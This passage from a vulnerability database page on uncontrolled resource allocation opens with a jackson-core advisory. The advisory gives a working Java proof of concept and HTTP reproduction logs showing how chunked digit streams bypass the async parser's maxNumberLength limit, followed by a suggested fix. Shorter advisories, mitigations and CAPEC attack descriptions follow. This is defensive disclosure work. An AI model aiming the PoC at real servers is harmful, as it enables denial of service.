poc \u0026\u0026 cd poc\ncurl -sLo jackson-core-2.18.6.jar https://repo1.maven.org/maven2/com/fasterxml/jackson/core/jackson-core/2.18.6/jackson-core-2.18.6.jar\ncat \u003e PoC.java \u003c\u003c\u0027EOF\u0027\nimport com.fasterxml.jackson.core.*;\nimport com.fasterxml.jackson.core.async.ByteArrayFeeder;\n\npublic class PoC {\n public static void main(String[] args) throws Exception {\n StreamReadConstraints strict = StreamReadConstraints.builder()\n .maxNumberLength(1000)\n .build();\n JsonFactory f = new JsonFactoryBuilder()\n .streamReadConstraints(strict)\n .build();\n\n // Sanity: synchronous parser rejects 5000-digit int.\n try (JsonParser p = f.createParser(\"{\\\"v\\\":\" + \"1\".repeat(5000) + \"}\")) {\n while (p.nextToken() != null) { /* drive */ }\n System.out.println(\"[-] BUG ABSENT: sync parser accepted\");\n return;\n } catch (Exception e) {\n System.out.println(\"[+] sync parser rejected 5000-digit int: \" + e.getClass().getSimpleName());\n }\n\n // Bug: async parser, chunked, no terminator.\n JsonParser ap = f.createNonBlockingByteArrayParser();\n ByteArrayFeeder feeder = (ByteArrayFeeder) ap;\n\n byte[] preamble = \"{\\\"v\\\":\".getBytes(\"UTF-8\");\n feeder.feedInput(preamble, 0, preamble.length);\n while (ap.nextToken() != JsonToken.NOT_AVAILABLE) { /* drain */ }\n\n byte[] digits = new byte[16 * 1024];\n for (int i = 0; i \u003c digits.length; i++) digits[i] = (byte) (\u00271\u0027 + (i % 9));\n\n for (int c = 0; c \u003c 600; c++) {\n feeder.feedInput(digits, 0, digits.length);\n JsonToken t = ap.nextToken();\n if (t != JsonToken.NOT_AVAILABLE) {\n System.out.println(\"[-] unexpected token: \" + t);\n return;\n }\n }\n System.out.println(\"[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000\");\n\n // Closing the number now finally triggers the validator.\n feeder.feedInput(\"}\".getBytes(\"UTF-8\"), 0, 1);\n feeder.endOfInput();\n try {\n while (ap.nextToken() != null) { /* drive */ }\n } catch (Exception e) {\n System.out.println(\"[*] late rejection on close: \" + e.getMessage().split(\"\\n\")[0]);\n }\n ap.close();\n }\n}\nEOF\njavac -cp jackson-core-2.18.6.jar PoC.java\njava -Xmx256m -cp jackson-core-2.18.6.jar:. PoC\n```\n\nObserved output against `jackson-core-2.18.6`:\n\n```\n[+] sync parser rejected 5000-digit int: StreamConstraintsException\n[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000\n[*] late rejection on close: Number value length (9830400) exceeds the maximum allowed (1000, from `StreamReadConstraints.getMaxNumberLength()`)\n```\n\nObserved output against `jackson-core-2.21.1`: identical.\n\nThe 9.83 MB figure is purely a function of the loop bound (600 chunks * 16 KiB). The actual ceiling is `maxStringLength = 20 MiB`. With the strict policy declared as `maxNumberLength = 1000`, the parser permits **9830x** more allocation than the policy allows. With `maxStringLength` left at the default 20 MiB, an attacker can drive a single connection to 40 MiB of `char[]` heap (chars are 2 bytes each) before the validator finally fires on terminator/`endOfInput()`. Multiply by concurrent connections.\n\n## End-to-end reproduction through real HTTP\n\nSupplements the standalone PoC with a running Spring Boot WebFlux server,\ndriving the same bug through the actual reactor-netty + Jackson2JsonDecoder\nstreaming-decode path that production reactive endpoints use.\n\nSetup:\n- Spring Boot 3.3.5 starter-webflux (spring-webflux 6.1.14, reactor-netty 1.1.23)\n- jackson-databind 2.17.2, jackson-core overridden:\n - VULN run: `com.fasterxml.jackson.core:jackson-core:2.18.7` (latest published)\n - PATCHED run: `2.18.8-SNAPSHOT` built from the fix branch\n- JVM: OpenJDK 17.0.18\n- Server `JsonFactory` configured with `StreamReadConstraints.builder().maxNumberLength(1000).build()`\n\nEndpoint under test exposes the `Flux\u003cDataBuffer\u003e` request body directly to\n`Jackson2JsonDecoder.decode(Flux, ResolvableType, ...)` so the parser sees one\nHTTP chunk per `feedInput` (the same pattern used for any\n`@RequestBody Flux\u003c...\u003e` / streaming JSON decoder in WebFlux). A raw-socket\nHTTP/1.1 chunked client streams `{\"v\":1` then 250 chunks of 200 digit bytes\neach (50,000 digits total) at 20ms intervals, then writes the closing `}`.\n\nVULN \u2014 jackson-core 2.18.7:\n```\n[VULN-SMALLCHUNK] streamed 50000 digits across 250 chunks; server still accepting\n[VULN-SMALLCHUNK] full POST sent (50000 digits). Response:\nHTTP/1.1 200 OK\nERR after 6548ms cause=com.fasterxml.jackson.core.exc.StreamConstraintsException:\n Number value length (50000) exceeds the maximum allowed (1000, ...)\n```\nServer-side controller trace (250 DataBuffer arrivals elided):\n```\n[ctrl] DataBuffer arrived size=6 ms=39 \u003c- \u0027{\"v\":1\u0027\n[ctrl] DataBuffer arrived size=200 ms=42\n...\n[ctrl] DataBuffer arrived size=199 ms=5993\n[ctrl] DataBuffer arrived size=1 ms=6518 \u003c- closing \u0027}\u0027\n[ctrl] ERR after 6548ms ... Number value length (50000) exceeds ...\n```\nServer held all 50,000 digit characters in `_textBuffer` for 6.5 seconds with\n`maxNumberLength=1000` declared. The validator never fires during streaming;\nit only fires at value-completion when the closing `}` arrives.\n\nPATCHED \u2014 jackson-core 2.18.8-SNAPSHOT (fix branch):\n```\n[PATCHED-SMALLCHUNK] connection broke after 2801 digits at chunk 14: [Errno 32] Broken pipe\n[PATCHED-SMALLCHUNK] DONE: digits_sent=2801 status=connection-broke-mid-stream\n```\nServer-side controller trace:\n```\n[ctrl] DataBuffer arrived size=6 ms=129\n[ctrl] DataBuffer arrived size=200 ms=142\n[ctrl] DataBuffer arrived size=200 ms=142\n[ctrl] DataBuffer arrived size=200 ms=145\n[ctrl] DataBuffer arrived size=200 ms=146\n[ctrl] DataBuffer arrived size=200 ms=147\n[ctrl] ERR after 155ms ... Number value length (1001) exceeds the maximum allowed (1000, ...)\n```\nPatched server raises `StreamConstraintsException` at 155ms after only 5\nDataBuffers, exactly when the accumulated digit count crosses\n`maxNumberLength=1000`. The connection is reset mid-stream rather than the\nparser silently consuming the rest of the attacker\u0027s payload.\n\nSide-by-side:\n\n| Build | Chunks accepted before exception | Digits buffered | Time to detection |\n|---|---|---|---|\n| jackson-core 2.18.7 | 250 (full payload) | 50,000 (50x the configured limit) | 6,548ms \u2014 only at terminator |\n| 2.18.8-SNAPSHOT (fix branch) | 5 | 1,001 | 155ms \u2014 moment threshold crossed |\n\nNote on the default `@RequestBody Mono\u003cJsonNode\u003e` path: that path cannot\ndistinguish the two builds because Spring\u0027s `decodeToMono` joins all\nDataBuffers into one before parsing. The exploitable shape is the\nstreaming-decode path (`Flux\u003cJsonNode\u003e` / `@RequestBody Flux\u003c...\u003e` /\nWebSocket / SSE / any direct `decoder.decode(Flux\u003cDataBuffer\u003e, ...)` call),\nwhich is also what `Jackson2Tokenizer` uses for any streaming JSON\ndeserialization in WebFlux and Quarkus reactive REST.\n\n## Suggested fix\n\nMirror the pattern already used in `_finishFloatFraction`. At every site that returns `_updateTokenToNA()` (or `JsonToken.NOT_AVAILABLE`) with `_minorState = MINOR_NUMBER_INTEGER_DIGITS`, call `_setIntLength(outPtr + negMod)` first. Concretely, the diff to `NonBlockingUtf8JsonParserBase.java` would be:\n\n```diff\n protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {\n int negMod = _numberNegative ? -1 : 0;\n\n while (true) {\n if (_inputPtr \u003e= _inputEnd) {\n _minorState = MINOR_NUMBER_INTEGER_DIGITS;\n _textBuffer.setCurrentLength(outPtr);\n+ _streamReadConstraints.validateIntegerLength(outPtr + negMod);\n return _updateTokenToNA();\n }\n```\n\nNote: `_setIntLength` itself can\u0027t be used as-is because it also assigns `_intLength`, and `_intLength` must not be set until the integer is truly complete (subsequent fraction handling reads `_intLength`). The minimal fix is to call only the validator, as shown.\n\nApply the same one-line insertion before each `return _updateTokenToNA();` that exits with `_minorState = MINOR_NUMBER_INTEGER_DIGITS`. The sites are listed above (12 lines total).\n\nAlternatively, a heavier refactor: also gate `_textBuffer.expandCurrentSegment()` calls inside the digit-accumulation loops on `outPtr \u003c maxNumberLength` so that the validator fires at the moment the buffer would be enlarged past the limit, rather than waiting for the next chunk boundary. Either approach is sufficient.\n\n## Credit\n\nReported by `tonghuaroot` (`tonghuaroot@gmail.com`). Variant hunt against the Feb 2026 fix for GHSA-72hv-8253-57qq.",
"id": "GHSA-r7wm-3cxj-wff9",
"modified": "2026-08-03T20:30:41Z",
"published": "2026-07-21T21:58:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-r7wm-3cxj-wff9"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/pull/1611"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/commit/050b429804dce2a7e08f0be1b0b4c3d040fdb9cd"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/commit/4cdd529749da396cc7edf6d4a2aad41d47902641"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/commit/c5941e5aae7fd5aeac55d66933cfb82b9aabeef8"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-core"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "jackson-core: Async parser maxNumberLength bypass via chunked digit accumulation (incomplete fix for GHSA-72hv-8253-57qq)"
}
GHSA-R7X8-2FFQ-4993
Vulnerability from github – Published: 2025-07-22 18:30 – Updated: 2025-07-22 18:30IBM Security QRadar Network Threat Analytics 1.0.0 through 1.3.1 could allow a privileged user to cause a denial of service due to improper allocation of resources.
{
"affected": [],
"aliases": [
"CVE-2024-38335"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-22T18:15:35Z",
"severity": "MODERATE"
},
"details": "IBM Security QRadar Network Threat Analytics 1.0.0 through 1.3.1 could allow a privileged user to cause a denial of service due to improper allocation of resources.",
"id": "GHSA-r7x8-2ffq-4993",
"modified": "2025-07-22T18:30:42Z",
"published": "2025-07-22T18:30:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38335"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7240244"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-R835-C8CP-8PGR
Vulnerability from github – Published: 2025-06-26 21:31 – Updated: 2025-06-26 21:31Successful exploitation of the vulnerability could allow an attacker to cause repeated reboots, potentially leading to remote denial-of-service and system unavailability.
{
"affected": [],
"aliases": [
"CVE-2025-48467"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-24T03:15:34Z",
"severity": "MODERATE"
},
"details": "Successful exploitation of the vulnerability could allow an attacker to cause repeated reboots, potentially leading to remote denial-of-service and system unavailability.",
"id": "GHSA-r835-c8cp-8pgr",
"modified": "2025-06-26T21:31:04Z",
"published": "2025-06-26T21:31:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48467"
},
{
"type": "WEB",
"url": "https://www.csa.gov.sg/alerts-and-advisories/alerts/al-2025-061"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-R8J5-H5CX-65GG
Vulnerability from github – Published: 2021-12-10 19:02 – Updated: 2021-12-10 19:02A vulnerability was discovered in IS-SVG version 4.3.1 and below where a Regular Expression Denial of Service (ReDOS) occurs if the application is provided and checks a crafted invalid SVG string.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "is-svg"
},
"ranges": [
{
"events": [
{
"introduced": "2.1.0"
},
{
"fixed": "4.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-29059"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2021-06-22T15:40:38Z",
"nvd_published_at": "2021-06-21T16:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability was discovered in IS-SVG version 4.3.1 and below where a Regular Expression Denial of Service (ReDOS) occurs if the application is provided and checks a crafted invalid SVG string.",
"id": "GHSA-r8j5-h5cx-65gg",
"modified": "2021-12-10T19:02:24Z",
"published": "2021-12-10T19:02:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-29059"
},
{
"type": "WEB",
"url": "https://github.com/sindresorhus/is-svg/commit/732fc72779840c45a30817d3fe28e12058592b02"
},
{
"type": "PACKAGE",
"url": "https://github.com/sindresorhus/is-svg"
},
{
"type": "WEB",
"url": "https://github.com/sindresorhus/is-svg/releases/tag/v4.3.0"
},
{
"type": "WEB",
"url": "https://github.com/yetingli/PoCs/blob/main/CVE-2021-29059/IS-SVG.md"
},
{
"type": "WEB",
"url": "https://github.com/yetingli/SaveResults/blob/main/js/is-svg.js"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/package/is-svg"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "ReDOS in IS-SVG"
}
GHSA-R8MH-XXFV-4JWJ
Vulnerability from github – Published: 2025-01-19 15:30 – Updated: 2025-01-19 15:30IBM TXSeries for Multiplatforms 10.1 is vulnerable to a denial of service, caused by improper enforcement of the timeout on individual read operations. By conducting a slowloris-type attacks, a remote attacker could exploit this vulnerability to cause a denial of service.
{
"affected": [],
"aliases": [
"CVE-2024-41742"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-19T15:15:20Z",
"severity": "HIGH"
},
"details": "IBM TXSeries for Multiplatforms 10.1 is vulnerable to a denial of service, caused by improper enforcement of the timeout on individual read operations. By conducting a slowloris-type attacks, a remote attacker could exploit this vulnerability to cause a denial of service.",
"id": "GHSA-r8mh-xxfv-4jwj",
"modified": "2025-01-19T15:30:45Z",
"published": "2025-01-19T15:30:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-41742"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7172103"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
Mitigation
Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation MIT-38.1
- If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.
- Ensure that all failures in resource allocation place the system into a safe posture.
Mitigation MIT-47
Strategy: Resource Limitation
- Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
- When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
- Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CAPEC-125: Flooding
An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.
CAPEC-130: Excessive Allocation
An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-197: Exponential Data Expansion
An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.
CAPEC-229: Serialized Data Parameter Blowup
This attack exploits certain serialized data parsers (e.g., XML, YAML, etc.) which manage data in an inefficient manner. The attacker crafts an serialized data file with multiple configuration parameters in the same dataset. In a vulnerable parser, this results in a denial of service condition where CPU resources are exhausted because of the parsing algorithm. The weakness being exploited is tied to parser implementation and not language specific.
CAPEC-230: Serialized Data with Nested Payloads
Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.
CAPEC-231: Oversized Serialized Data Payloads
An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.
CAPEC-469: HTTP DoS
An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.
CAPEC-482: TCP Flood
An adversary may execute a flooding attack using the TCP protocol with the intent to deny legitimate users access to a service. These attacks exploit the weakness within the TCP protocol where there is some state information for the connection the server needs to maintain. This often involves the use of TCP SYN messages.
CAPEC-486: UDP Flood
An adversary may execute a flooding attack using the UDP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. Additionally, firewalls often open a port for each UDP connection destined for a service with an open UDP port, meaning the firewalls in essence save the connection state thus the high packet nature of a UDP flood can also overwhelm resources allocated to the firewall. UDP attacks can also target services like DNS or VoIP which utilize these protocols. Additionally, due to the session-less nature of the UDP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-487: ICMP Flood
An adversary may execute a flooding attack using the ICMP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. A typical attack involves a victim server receiving ICMP packets at a high rate from a wide range of source addresses. Additionally, due to the session-less nature of the ICMP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-488: HTTP Flood
An adversary may execute a flooding attack using the HTTP protocol with the intent to deny legitimate users access to a service by consuming resources at the application layer such as web services and their infrastructure. These attacks use legitimate session-based HTTP GET requests designed to consume large amounts of a server's resources. Since these are legitimate sessions this attack is very difficult to detect.
CAPEC-489: SSL Flood
An adversary may execute a flooding attack using the SSL protocol with the intent to deny legitimate users access to a service by consuming all the available resources on the server side. These attacks take advantage of the asymmetric relationship between the processing power used by the client and the processing power used by the server to create a secure connection. In this manner the attacker can make a large number of HTTPS requests on a low provisioned machine to tie up a disproportionately large number of resources on the server. The clients then continue to keep renegotiating the SSL connection. When multiplied by a large number of attacking machines, this attack can result in a crash or loss of service to legitimate users.
CAPEC-490: Amplification
An adversary may execute an amplification where the size of a response is far greater than that of the request that generates it. The goal of this attack is to use a relatively few resources to create a large amount of traffic against a target server. To execute this attack, an adversary send a request to a 3rd party service, spoofing the source address to be that of the target server. The larger response that is generated by the 3rd party service is then sent to the target server. By sending a large number of initial requests, the adversary can generate a tremendous amount of traffic directed at the target. The greater the discrepancy in size between the initial request and the final payload delivered to the target increased the effectiveness of this attack.
CAPEC-491: Quadratic Data Expansion
An adversary exploits macro-like substitution to cause a denial of service situation due to excessive memory being allocated to fully expand the data. The result of this denial of service could cause the application to freeze or crash. This involves defining a very large entity and using it multiple times in a single entity substitution. CAPEC-197 is a similar attack pattern, but it is easier to discover and defend against. This attack pattern does not perform multi-level substitution and therefore does not obviously appear to consume extensive resources.
CAPEC-493: SOAP Array Blowup
An adversary may execute an attack on a web service that uses SOAP messages in communication. By sending a very large SOAP array declaration to the web service, the attacker forces the web service to allocate space for the array elements before they are parsed by the XML parser. The attacker message is typically small in size containing a large array declaration of say 1,000,000 elements and a couple of array elements. This attack targets exhaustion of the memory resources of the web service.
CAPEC-494: TCP Fragmentation
An adversary may execute a TCP Fragmentation attack against a target with the intention of avoiding filtering rules of network controls, by attempting to fragment the TCP packet such that the headers flag field is pushed into the second fragment which typically is not filtered.
CAPEC-495: UDP Fragmentation
An attacker may execute a UDP Fragmentation attack against a target server in an attempt to consume resources such as bandwidth and CPU. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. Typically the attacker will use large UDP packets over 1500 bytes of data which forces fragmentation as ethernet MTU is 1500 bytes. This attack is a variation on a typical UDP flood but it enables more network bandwidth to be consumed with fewer packets. Additionally it has the potential to consume server CPU resources and fill memory buffers associated with the processing and reassembling of fragmented packets.
CAPEC-496: ICMP Fragmentation
An attacker may execute a ICMP Fragmentation attack against a target with the intention of consuming resources or causing a crash. The attacker crafts a large number of identical fragmented IP packets containing a portion of a fragmented ICMP message. The attacker these sends these messages to a target host which causes the host to become non-responsive. Another vector may be sending a fragmented ICMP message to a target host with incorrect sizes in the header which causes the host to hang.
CAPEC-528: XML Flood
An adversary may execute a flooding attack using XML messages with the intent to deny legitimate users access to a web service. These attacks are accomplished by sending a large number of XML based requests and letting the service attempt to parse each one. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing.